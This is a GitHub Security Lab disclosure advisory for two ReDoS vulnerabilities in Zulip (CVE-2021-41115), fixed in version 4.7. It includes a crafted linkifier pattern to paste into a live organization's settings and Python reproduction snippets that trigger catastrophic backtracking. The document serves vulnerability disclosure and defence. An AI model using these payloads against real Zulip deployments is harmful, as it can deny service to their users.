Coordinated Disclosure Timeline
- 2021-08-31: Sent report to security@zulip.com.
- 2021-08-31: Reply from security@zulip.com: “Thank you for the report! We’ll investigate these and get back to you shortly.”
- 2021-09-01: Update from security@zulip.com: they have investigated and determined that the first issue is a genuine vulnerability because the regex is “accessible to users who can access organization settings to configure new linkifiers”, but the second issues is not a vulnerability because the regex “only acts on controlled inputs – namely, existing version-controlled documentation files on disk”. However, they intend to fix both regexes by switching to the pyre2 library.
- 2021-10-04: Fixed in version 4.7: GHSA-4h36-mqfq-42jg.
Summary
Zulip contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).
Product
Zulip
Tested Version
Details
ReDoS
ReDoS, or Regular Expression Denial of Service, is a vulnerability affecting inefficient regular expressions which can perform extremely badly when run on a crafted input string.
This vulnerability was found using a CodeQL query which identifies inefficient regular expressions.
Two separate regular expressions are vulnerable, as described below.
Regex 1: Custom linkifiers in zerver/models.py
.
The vulnerable regular expression is here.
Please follow these steps to reproduce the issue on a live Zulip organization:
- Go into the organization settings in a Zulip org.
- Go to the
Linkifiers
tab. - Paste the following into the
Pattern
text box:
+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>
- Type something into the
URL format string
text box. - Click
Add linkifier
. - Wait about 6 seconds for an error to appear.
- Make the above string longer for a bigger effect
A second way to see that the regular expression is vulnerable is to copy-paste it into a separate file as shown below:
- Run the code below with
python3
:
import re
regex = re.compile(r"^(?:(?:[\w\-#_= /:]*|[+]|[!])(\(\?P<\w+>.+\)))+$")
regex.match("+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>")
Regex 2: Markdown extensions in zerver/openapi/markdown_extension.py
The vulnerable regular expression is here.
To see that the regular expression is vulnerable, copy-paste it into a separate file as shown below:
- Run the code below with
python3
:
import re
regex = re.compile(r"\{generate_code_example(\(\s*(.+?)\s*\))*\|\s*(.+?)\s*\|\s*(.+?)\s*(\(\s*(.+)\s*\))?\}");
regex.match("{generate_code_example(a)()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()}")
Impact
This issue may lead to a denial of service.
CVE
- CVE-2021-41115
Credit
This issue was discovered by GitHub team members @erik-krogh (Erik Krogh Kristensen) and @yoff (Rasmus Petersen).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-118
in any communication regarding this issue.